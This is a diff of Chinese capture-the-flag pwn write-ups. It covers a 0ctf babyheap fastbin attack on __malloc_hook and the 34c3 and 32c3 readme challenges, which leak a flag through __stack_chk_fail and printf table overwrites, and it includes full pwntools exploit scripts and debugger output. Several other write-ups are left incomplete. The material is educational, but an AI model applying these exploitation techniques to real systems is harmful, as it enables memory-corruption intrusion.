首先考虑怎样利用 fastbins 在 `__malloc_hook` 指向的地址处写入 one_gadget 的地址。这里有一个技巧,地址偏移,就像下面这样构造一个 fake chunk,其大小为 0x7f,也就是一个 fast chunk:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/10gx (long long)(&main_arena)-0x30
|
||||
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
|
||||
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
|
||||
@ -412,13 +436,16 @@ gef➤ x/10gx (long long)(&main_arena)-0x30+0xd
|
||||
0x7ffff7dd1b2d: 0x0000000000414141 0x0000000000000000
|
||||
0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
用本地的泄露地址减去 libc 地址得到偏移:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00000000]> ?v 0x7ffff7dd1b78 - 0x7ffff7a0d000
|
||||
0x3c4b78
|
||||
```
|
||||
|
||||
之前 free 掉的 chunk 4 一个 small chunk,被添加到了 unsorted bin 中,而这里我们需要的是 fast chunk,所以这里采用分配一个 fast chunk,再释放掉的办法,将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk(当然也要通过 libc 偏移计算出来):
|
||||
|
||||
```python
|
||||
alloc(0x60)
|
||||
free(4)
|
||||
@ -426,7 +453,8 @@ free(4)
|
||||
payload = p64(libc + 0x3c4afd)
|
||||
fill(2, payload)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x5555557570f0, bk=0x5555557570f0
|
||||
@ -465,6 +493,7 @@ gef➤ x/60gx 0x0000555555757010-0x10
|
||||
```
|
||||
|
||||
连续两次分配,第一次将 fake chunk 添加到 fast bins,第二次分配 fake chunk,分别是 new new chunk 4 和 chunk 6。然后就可以改写 `__malloc_hook` 的地址,将其指向 one-gadget:
|
||||
|
||||
```python
|
||||
alloc(0x60)
|
||||
alloc(0x60)
|
||||
@ -473,7 +502,8 @@ payload = p8(0)*3
|
||||
payload += p64(one_gadget)
|
||||
fill(6, payload)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/10gx (long long)(&main_arena)-0x30
|
||||
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
|
||||
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x000000fff7a92a00
|
||||
@ -532,7 +562,8 @@ gef➤ x/30gx 0xafc966564d0-0x10
|
||||
最后,只要调用了 malloc,就会触发 hook 函数,即 one-gadget。现在可以开启 ASLR 了,因为通过泄漏 libc 地址,我们已经完全绕过了它。
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
|
||||
```text
|
||||
$ python exp.py
|
||||
[+] Opening connection to 127.0.0.1 on port 10001: Done
|
||||
[*] leak => 0x7f8c1be9eb78
|
||||
@ -546,8 +577,10 @@ firmy
|
||||
|
||||
本题多次使用 fastbin attack,确实经典。
|
||||
|
||||
#### exploit
|
||||
### exploit
|
||||
|
||||
完整的 exp 如下:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -655,7 +688,7 @@ alloc(1)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [0ctf Quals 2017 - BabyHeap2017](http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html)
|
||||
- [how2heap](https://github.com/shellphish/how2heap)
|
||||
|
@ -5,21 +5,23 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.11_pwn_9447ctf2015_search_engine)
|
||||
|
||||
## 题目复现
|
||||
```
|
||||
|
||||
```text
|
||||
$ file search
|
||||
search: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped
|
||||
$ checksec -f search
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 3 search
|
||||
```
|
||||
|
||||
64 位程序,开启了 NX 和 Canary。
|
||||
|
||||
玩一下,看名字就知道是一个搜索引擎,大概流程是这样的,首先给词库加入一些句子,句子里的单词以空格间隔开,然后可以搜索所有包含某单词的句子,当找到某条句子后,将其打印出来,并询问是否删除。
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./search
|
||||
1: Search with a word
|
||||
2: Index a sentence
|
||||
@ -59,12 +61,13 @@ n
|
||||
3: Quit
|
||||
3
|
||||
```
|
||||
根据经验,这是一道堆利用的题目。
|
||||
|
||||
根据经验,这是一道堆利用的题目。
|
||||
|
||||
## 题目解析
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [how2heap](https://github.com/shellphish/how2heap)
|
||||
|
@ -5,20 +5,23 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.12_pwn_n1ctf2018_vote)
|
||||
|
||||
## 题目复现
|
||||
|
||||
这个题目给了二进制文件和 libc:
|
||||
```
|
||||
|
||||
```text
|
||||
$ file vote
|
||||
vote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=53266adcfdcb7b21a01e9f2a1cb0396b818bfba3, stripped
|
||||
$ checksec -f vote
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 vote
|
||||
```
|
||||
|
||||
看起来就是个堆利用的问题:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./vote
|
||||
0: Create
|
||||
1: Show
|
||||
@ -28,17 +31,19 @@ $ ./vote
|
||||
5: Exit
|
||||
Action:
|
||||
```
|
||||
|
||||
然后就可以把它运行起来了:
|
||||
```
|
||||
|
||||
```text
|
||||
$ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.23.so ./vote" &
|
||||
```
|
||||
|
||||
另外出题人在 github 开源了题目的代码,感兴趣的也可以看一下。
|
||||
|
||||
|
||||
## 题目解析
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
## 参考资料
|
||||
https://ctftime.org/task/5490
|
||||
|
||||
- <https://ctftime.org/task/5490>
|
||||
|
@ -5,21 +5,23 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge)
|
||||
|
||||
## 题目复现
|
||||
|
||||
这个题目实际上非常有趣。
|
||||
```
|
||||
|
||||
```text
|
||||
$ file readme_revenge
|
||||
readme_revenge: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=2f27d1b57237d1ab23f8d0fc3cd418994c5b443d, not stripped
|
||||
$ checksec -f readme_revenge
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 3 45 readme_revenge
|
||||
```
|
||||
|
||||
与我们经常接触的题目不同,这是一个静态链接程序,运行时不需要加载 libc。not stripped 绝对是个好消息。
|
||||
|
||||
```
|
||||
```text
|
||||
$ ./readme_revenge
|
||||
aaaa
|
||||
Hi, aaaa. Bye.
|
||||
@ -30,22 +32,26 @@ $ python -c 'print("A"*2000)' > crash_input
|
||||
$ ./readme_revenge < crash_input
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
|
||||
我们试着给它输入一些字符,结果被原样打印出来,而且看起来也不存在格式化字符串漏洞。但当我们输入大量字符时,触发了段错误,这倒是一个好消息。
|
||||
|
||||
接着又发现了这个:
|
||||
```
|
||||
$ rabin2 -z readme_revenge| grep 34C3
|
||||
|
||||
```text
|
||||
$ rabin2 -z readme_revenge | grep 34C3
|
||||
Warning: Cannot initialize dynamic strings
|
||||
000 0x000b4040 0x006b4040 35 36 (.data) ascii 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
```
|
||||
|
||||
看来 flag 是被隐藏在程序中的,地址在 `0x006b4040`,位于 `.data` 段上。结合题目的名字 readme,推测这题的目标应该是从程序中读取或者泄漏出 flag。
|
||||
|
||||
|
||||
## 题目解析
|
||||
|
||||
因为 flag 在程序的 `.data` 段上,根据我们的经验,应该能想到利用 `__stack_chk_fail()` 将其打印出来(参考章节 4.12)。
|
||||
|
||||
main 函数如下:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00400900]> pdf @ main
|
||||
;-- main:
|
||||
/ (fcn) sym.main 80
|
||||
@ -69,10 +75,12 @@ main 函数如下:
|
||||
| 0x00400a5b 5d pop rbp
|
||||
\ 0x00400a5c c3 ret
|
||||
```
|
||||
|
||||
很简单,从标准输入读取字符串到变量 `name`,地址在 `0x6b73e0`,且位于 `.bss` 段上,是一个全局变量。接下来程序调用 printf 将 `name` 打印出来。
|
||||
|
||||
在 gdb 里试试:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ r < crash_input
|
||||
Starting program: /home/firmy/Desktop/RE4B/readme/readme_revenge < crash_input
|
||||
|
||||
@ -124,8 +132,10 @@ gdb-peda$ x/8gx &name
|
||||
0x6b7400 <_dl_tls_static_used>: 0x4141414141414141 0x4141414141414141
|
||||
0x6b7410 <_dl_tls_max_dtv_idx>: 0x4141414141414141 0x4141414141414141
|
||||
```
|
||||
|
||||
程序的漏洞很明显了,就是缓冲区溢出覆盖了 libc 静态编译到程序里的一些指针。再往下看会发现一些可能有用的:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$
|
||||
0x6b7978 <__libc_argc>: 0x4141414141414141
|
||||
gdb-peda$
|
||||
@ -141,7 +151,8 @@ gdb-peda$
|
||||
```
|
||||
|
||||
再看一下栈回溯情况吧:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ bt
|
||||
#0 0x000000000045ad64 in __parse_one_specmb ()
|
||||
#1 0x0000000000443153 in printf_positional ()
|
||||
@ -152,7 +163,9 @@ gdb-peda$ bt
|
||||
#6 0x0000000000400efd in __libc_start_main ()
|
||||
#7 0x000000000040092a in _start ()
|
||||
```
|
||||
|
||||
依次调用了 `printf() => vfprintf() => printf_positional() => __parse_one_specmb()`。那就看一下 glibc 源码,然后发现了这个:
|
||||
|
||||
```c
|
||||
// stdio-common/vfprintf.c
|
||||
|
||||
@ -162,6 +175,7 @@ gdb-peda$ bt
|
||||
|| __printf_va_arg_table != NULL))
|
||||
goto do_positional;
|
||||
```
|
||||
|
||||
```c
|
||||
// stdio-common/printf-parsemb.c
|
||||
|
||||
@ -181,6 +195,7 @@ gdb-peda$ bt
|
||||
```
|
||||
|
||||
这里就涉及到 glibc 的一个特性,它允许用户为 printf 的模板字符串(template strings)定义自己的转换函数,方法是使用函数 `register_printf_function()`:
|
||||
|
||||
```c
|
||||
// stdio-common/printf.h
|
||||
|
||||
@ -188,6 +203,7 @@ extern int register_printf_function (int __spec, printf_function __func,
|
||||
printf_arginfo_function __arginfo)
|
||||
__THROW __attribute_deprecated__;
|
||||
```
|
||||
|
||||
- 该函数为指定的字符 `__spec` 定义一个转换规则。因此如果 `__spec` 是 `Y`,它定义的转换规则就是 `%Y`。用户甚至可以重新定义已有的字符,例如 `%s`。
|
||||
- `__func` 是一个函数,在对指定的 `__spec` 进行转换时由 `printf` 调用。
|
||||
- `__arginfo` 也是一个函数,在对指定的 `__spec` 进行转换时由 `parse_printf_format` 调用。
|
||||
@ -195,6 +211,7 @@ extern int register_printf_function (int __spec, printf_function __func,
|
||||
想一下,在程序的 main 函数中,使用 `%s` 调用了 `printf`,如果我们能重新定义一个转换规则,就能做利用 `__func` 做我们想做的事情。然而我们并不能直接调用 `register_printf_function()`。那么,如果利用溢出修改 `__printf_function_table` 呢,这当然是可以的。
|
||||
|
||||
`register_printf_function()` 其实也就是 `__register_printf_specifier()`,我们来看看它是怎么实现的:
|
||||
|
||||
```c
|
||||
// stdio-common/reg-printf.c
|
||||
|
||||
@ -235,24 +252,28 @@ __register_printf_specifier (int spec, printf_function converter,
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
然后发现 `spec` 被直接用做数组 `__printf_function_table` 和 `__printf_arginfo_table` 的下标。`s` 也就是 `0x73`,这和我们在 gdb 里看到的相符:`rdx=0x73`,`[rax+rdx*8]`正好是数组取值的方式,虽然这里的 `rax` 里保存的是 `__printf_modifier_table`。
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
有了上面的分析,下面我们来构造 exp。
|
||||
|
||||
回顾一下 `__parse_one_specmb()` 函数里的 `if` 判断语句,我们知道 C 语言对 `||` 的处理机制是如果第一个表达式为 True,就不再进行第二个表达式的判断,所以为了执行函数 `*__printf_arginfo_table[spec->info.spec]`,需要前面的判断条件都为 False。我们可以在 `.bss` 段上伪造一个 `printf_arginfo_size_function` 结构体,在结构体偏移 `0x73*8` 的地方放上 `__stack_chk_fail()` 的地址,当该函数执行时,将打印出 `argv[0]` 指向的字符串,所以我们还需要将 `argv[0]` 覆盖为 flag 的地址。
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 exp.py
|
||||
[+] Starting local process './readme_revenge': pid 14553
|
||||
[*] Switching to interactive mode
|
||||
*** stack smashing detected ***: 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX terminated
|
||||
```
|
||||
|
||||
#### exploit
|
||||
### exploit
|
||||
|
||||
完整的 exp 如下:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -282,7 +303,7 @@ io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/5135
|
||||
|
||||
- <https://ctftime.org/task/5135>
|
||||
- [Customizing printf](https://www.gnu.org/software/libc/manual/html_node/Customizing-Printf.html)
|
||||
|
@ -5,27 +5,30 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.14_pwn_32c3ctf2015_readme)
|
||||
|
||||
## 题目复现
|
||||
```
|
||||
|
||||
```text
|
||||
$ file readme.bin
|
||||
readme.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped
|
||||
$ checksec -f readme.bin
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 readme.bin
|
||||
```
|
||||
|
||||
开启了 Canary。
|
||||
|
||||
flag 就藏在二进制文件中的 .data 段上:
|
||||
```
|
||||
|
||||
```text
|
||||
$ rabin2 -z readme.bin | grep 32C3
|
||||
000 0x00000d20 0x00600d20 31 32 (.data) ascii 32C3_TheServerHasTheFlagHere...
|
||||
```
|
||||
|
||||
程序接收两次输入,并打印出第一次输入的字符串(看起来并没有格式化字符串漏洞):
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./readme.bin
|
||||
Hello!
|
||||
What's your name? %p.%p.%p.%p
|
||||
@ -44,14 +47,16 @@ Hello!
|
||||
What's your name? Nice to meet you, A.
|
||||
Please overwrite the flag: Thank you, bye!
|
||||
```
|
||||
|
||||
第一次输入的字符串过多会导致栈冲突的问题,第二次的输入似乎就没有什么影响。
|
||||
|
||||
感觉和 6.1.13 那题一样,都是需要利用 `__stack_chk_fail()` 打印 flag(参考章节 4.12)。但这一题是动态链接程序,因为 libc-2.25 版本的更新,使 `__stack_chk_fail()` 不能用了。所以为了复现,我们选择Ubuntu 16.04,版本是 libc-2.23。
|
||||
|
||||
|
||||
## 题目解析
|
||||
|
||||
来看一下程序的逻辑:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x004006ee]> pdf @ sub.Hello___What_s_your_name_7e0
|
||||
/ (fcn) sub.Hello___What_s_your_name_7e0 206
|
||||
| sub.Hello___What_s_your_name_7e0 ();
|
||||
@ -117,17 +122,21 @@ Please overwrite the flag: Thank you, bye!
|
||||
0x00600d20 3332 4333 5f54 6865 5365 7276 6572 4861 32C3_TheServerHa
|
||||
0x00600d30 7354 6865 466c 6167 4865 7265 2e2e 2e00 sTheFlagHere....
|
||||
```
|
||||
|
||||
看注释已经很明显了,第一次的输入需要我们触发栈溢出,使程序调用 `__stack_chk_fail()`,并打印出 `argv[0]`。第二次的输入将覆盖掉位于 `0x00600d20` 的 flag。
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
那么问题来了,如果 flag 被覆盖掉了,那还怎样将其打印出来。这就涉及到了 ELF 文件的映射问题,我们知道 x86-64 程序的映射是从 `0x400000` 开始的:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ld --verbose | grep __executable_start
|
||||
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
|
||||
```
|
||||
|
||||
在调试时我们又发现 readme.bin 被映射到下面的两个地址中:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ b *0x0040080e
|
||||
Breakpoint 1 at 0x40080e
|
||||
gdb-peda$ r
|
||||
@ -136,18 +145,22 @@ Start End Perm Name
|
||||
0x00400000 0x00401000 r-xp /home/firmyy/readme.bin
|
||||
0x00600000 0x00601000 rw-p /home/firmyy/readme.bin
|
||||
```
|
||||
|
||||
所以只要在二进制文件 `0x00000000~0x00001000` 范围内的内容都会被映射到内存中,分别以 `0x600000` 和 `0x400000` 作为起始地址 。flag 在 `0x00000d20`,所以会在内存中出现两次,分别位于 `0x00600d20` 和 `0x00400d20`:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ find 32C3
|
||||
Searching for '32C3' in: None ranges
|
||||
Found 2 results, display max 2 items:
|
||||
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
|
||||
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
|
||||
```
|
||||
|
||||
所以即使 `0x00600d20` 的 flag 被覆盖了,`0x00400d20` 的 flag 依然存在。
|
||||
|
||||
让我们来找出 `argv[0]` 距离栈的距离:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ find /home/firmyy/readme.bin
|
||||
Searching for '/home/firmyy/readme.bin' in: None ranges
|
||||
Found 3 results, display max 3 items:
|
||||
@ -179,7 +192,9 @@ gdb-peda$ x/10s 0x00007fffffffe097
|
||||
gdb-peda$ distance $rsp 0x7fffffffdc78
|
||||
From 0x7fffffffda60 to 0x7fffffffdc78: 536 bytes, 134 dwords
|
||||
```
|
||||
|
||||
`536=0x218` 个字节。第一次尝试:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -192,11 +207,14 @@ print io.recvall()
|
||||
```
|
||||
|
||||
在第一个终端里执行下面的命令,相当于远程服务器,并且将 stderr 重定向到 stdout:
|
||||
```
|
||||
|
||||
```text
|
||||
$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
|
||||
```
|
||||
|
||||
然后在第二个终端里执行 exp:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python exp.py
|
||||
[+] Opening connection to 127.0.0.1 on port 10001: Done
|
||||
[+] Receiving all data: Done (627B)
|
||||
@ -205,14 +223,17 @@ Hello!
|
||||
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
|
||||
Please overwrite the flag: Thank you, bye!
|
||||
```
|
||||
|
||||
咦,flag 并没有在我们执行 exp 的终端里打印出来,反而是打印在了执行程序的终端里:
|
||||
```
|
||||
|
||||
```text
|
||||
$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
|
||||
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
|
||||
```
|
||||
|
||||
所以我们需要做点事情,让远程服务器上的错误信息通过网络传到我们的终端里。即利用第二次的输入,将 `LIBC_FATAL_STDERR_=1` 写入到环境变量中。结果如下:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/10gx $rsp+0x218
|
||||
0x7fffffffdcd8: 0x0000000000400d20 0x0000000000000000
|
||||
0x7fffffffdce8: 0x0000000000600d20 0x00007fffffffe100
|
||||
@ -224,8 +245,10 @@ gdb-peda$ x/s 0x400d20
|
||||
gdb-peda$ x/s 0x600d20
|
||||
0x600d20: "LIBC_FATAL_STDERR_=1"
|
||||
```
|
||||
|
||||
函数 `__GI___libc_secure_getenv` 成功获取到了环境变量 `LIBC_FATAL_STDERR_` 的值 `1`:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ ni
|
||||
[----------------------------------registers-----------------------------------]
|
||||
RAX: 0x600d33 --> 0x31 ('1')
|
||||
@ -268,11 +291,12 @@ EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
|
||||
Legend: code, data, rodata, value
|
||||
__libc_message (do_abort=do_abort@entry=0x1, fmt=fmt@entry=0x7ffff7b9c49f "*** %s ***: %s terminated\n")
|
||||
at ../sysdeps/posix/libc_fatal.c:81
|
||||
81 ../sysdeps/posix/libc_fatal.c: No such file or directory.
|
||||
81 ../sysdeps/posix/libc_fatal.c: No such file or directory.
|
||||
```
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
|
||||
```text
|
||||
$ python exp.py
|
||||
[+] Opening connection to 127.0.0.1 on port 10001: Done
|
||||
[+] Receiving all data: Done (703B)
|
||||
@ -283,8 +307,10 @@ Please overwrite the flag: Thank you, bye!
|
||||
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
|
||||
```
|
||||
|
||||
#### exploit
|
||||
### exploit
|
||||
|
||||
最终的 exp 如下:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -301,7 +327,7 @@ io.sendline(payload_2)
|
||||
print io.recvall()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/1958
|
||||
- https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200
|
||||
|
||||
- <https://ctftime.org/task/1958>
|
||||
- <https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200>
|
||||
|
@ -5,11 +5,11 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.15_pwn_34c3ctf2017_simplegc)
|
||||
|
||||
## 题目复现
|
||||
```
|
||||
|
||||
```text
|
||||
$ file sgc
|
||||
sgc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f7ef90bc896e72ba0c3191a2ce6acb732bf3b172, stripped
|
||||
$ checksec -f sgc
|
||||
@ -19,9 +19,10 @@ $ strings libc-2.26.so | grep "GNU C"
|
||||
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2) stable release version 2.26, by Roland McGrath et al.
|
||||
Compiled by GNU CC version 6.4.0 20171010.
|
||||
```
|
||||
|
||||
一看 libc-2.26,请参考章节 4.14,tcache 了解一下。然后程序开启了 Canary 和 NX。
|
||||
|
||||
```
|
||||
```text
|
||||
0: Add a user
|
||||
1: Display a group
|
||||
2: Display a user
|
||||
@ -99,13 +100,16 @@ User:
|
||||
Group: B
|
||||
Age: 1
|
||||
```
|
||||
|
||||
玩一下,程序似乎有两个结构分别放置 user 和 group。而且 Edit 功能很有趣,根据选择 y 还是 n 有不同的操作,应该重点看看。
|
||||
|
||||
|
||||
## 题目解析
|
||||
#### GC
|
||||
|
||||
### GC
|
||||
|
||||
main 函数开始会启动一个新的线程,用于垃圾回收,然后才让我们输入菜单的选项。刚开始 r2 并不能识别这个线程函数,用命令 `af` 给它重新分析一下。函数如下:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00400a60]> af @ 0x0040127e
|
||||
[0x00400a60]> pdf @ fcn.0040127e
|
||||
/ (fcn) fcn.0040127e 157
|
||||
@ -163,7 +167,9 @@ main 函数开始会启动一个新的线程,用于垃圾回收,然后才让
|
||||
| : 0x00401314 call sym.imp.sleep ; int sleep(int s)
|
||||
\ `=< 0x00401319 jmp 0x40129b
|
||||
```
|
||||
|
||||
从这段代码中我们看出一个结构体 group:
|
||||
|
||||
```c
|
||||
struct group {
|
||||
char *group_name; // group 名
|
||||
@ -172,14 +178,16 @@ struct group {
|
||||
|
||||
struct group *groups[0x60];
|
||||
```
|
||||
|
||||
然后是 0x60 个 group 类型指针构成的数组 groups,其起始地址为 `0x6023e0`。仔细看的话可以发现,这段代码在取 ref_count 值的时候,只取出了一个字节。所以 ref_count 的类型可以推断地更精细一点,为 `uint8_t`。
|
||||
|
||||
该垃圾回收函数会遍历 groups,当 groups[i]->count 为 0 时,表示该 group 没有 user 在使用,于是对 groups[i]->group_name 和 groups[i] 分别进行 free 操作,最后把 groups[i] 设置为 0。
|
||||
|
||||
最后需要注意的是垃圾回收的周期,在写 exp 的时候要考虑。
|
||||
|
||||
#### add a user
|
||||
```
|
||||
### add a user
|
||||
|
||||
```text
|
||||
[0x00400a60]> pdf @ sub.memset_d58
|
||||
/ (fcn) sub.memset_d58 598
|
||||
| sub.memset_d58 ();
|
||||
@ -324,7 +332,9 @@ struct group *groups[0x60];
|
||||
| 0x00400fac pop rbp
|
||||
\ 0x00400fad ret
|
||||
```
|
||||
|
||||
从这个函数中能看出第二个结构体 user:
|
||||
|
||||
```c
|
||||
struct user {
|
||||
uint8_t age;
|
||||
@ -334,10 +344,12 @@ struct user {
|
||||
|
||||
struct user *users[0x60];
|
||||
```
|
||||
|
||||
同样的,0x60 个 user 类型指针构成了数组 users,其起始地址为 `0x6020e0`。
|
||||
|
||||
我们看到输入的 group 作为参数调用了 sub.strcmp_be0():
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00400a60]> pdf @ sub.strcmp_be0
|
||||
/ (fcn) sub.strcmp_be0 161
|
||||
| sub.strcmp_be0 (int arg_5fh);
|
||||
@ -396,10 +408,12 @@ struct user *users[0x60];
|
||||
| `------> 0x00400c7f leave
|
||||
\ 0x00400c80 ret
|
||||
```
|
||||
|
||||
所以这个函数的作用是检查 groups 中是否已经存在同名的 group,如果是,那么将该 group 的 ref_count 加 1,并返回这个 group。否则返回 0。
|
||||
|
||||
当返回值为 0 的时候,会调用函数 fcn.00400cdd(),参数为 group:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00400a60]> pdf @ fcn.00400cdd
|
||||
/ (fcn) fcn.00400cdd 123
|
||||
| fcn.00400cdd (int arg_5fh);
|
||||
@ -449,16 +463,20 @@ struct user *users[0x60];
|
||||
| 0x00400d56 pop rbp
|
||||
\ 0x00400d57 ret
|
||||
```
|
||||
|
||||
该函数在第一个 groups[i] 为 0 的地方创建一个新的 group,将其放入 groups,并返回这个 groups[i]。
|
||||
|
||||
总的来说,当添加一个 user 时,首先检查输入的 group 是否存在,如果存在,那么将这个 group->ref_count 加 1,设置 user->group 指向这个 group->group_name,否则新建一个 group,并将新 group->ref_count 设置为 1,同样设置 user->group 指向它。
|
||||
|
||||
#### display
|
||||
### display
|
||||
|
||||
其中 display-a-user 用于打印出指定 index 的 user,即 users[i]。display-a-group 遍历 users,并打印出指定 group 与 users[i]->group 相同的 users[i]。根据经验,这个功能就是为了泄漏 heap 和 libc 地址的。
|
||||
|
||||
#### edit a group
|
||||
### edit a group
|
||||
|
||||
我们比较感兴趣的修改 group 操作:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00400a60]> pdf @ sub.Enter_index:_31b
|
||||
/ (fcn) sub.Enter_index:_31b 302
|
||||
| sub.Enter_index:_31b ();
|
||||
@ -551,13 +569,17 @@ struct user *users[0x60];
|
||||
| `-> 0x00401447 leave
|
||||
\ 0x00401448 ret
|
||||
```
|
||||
|
||||
该函数有两种操作:
|
||||
|
||||
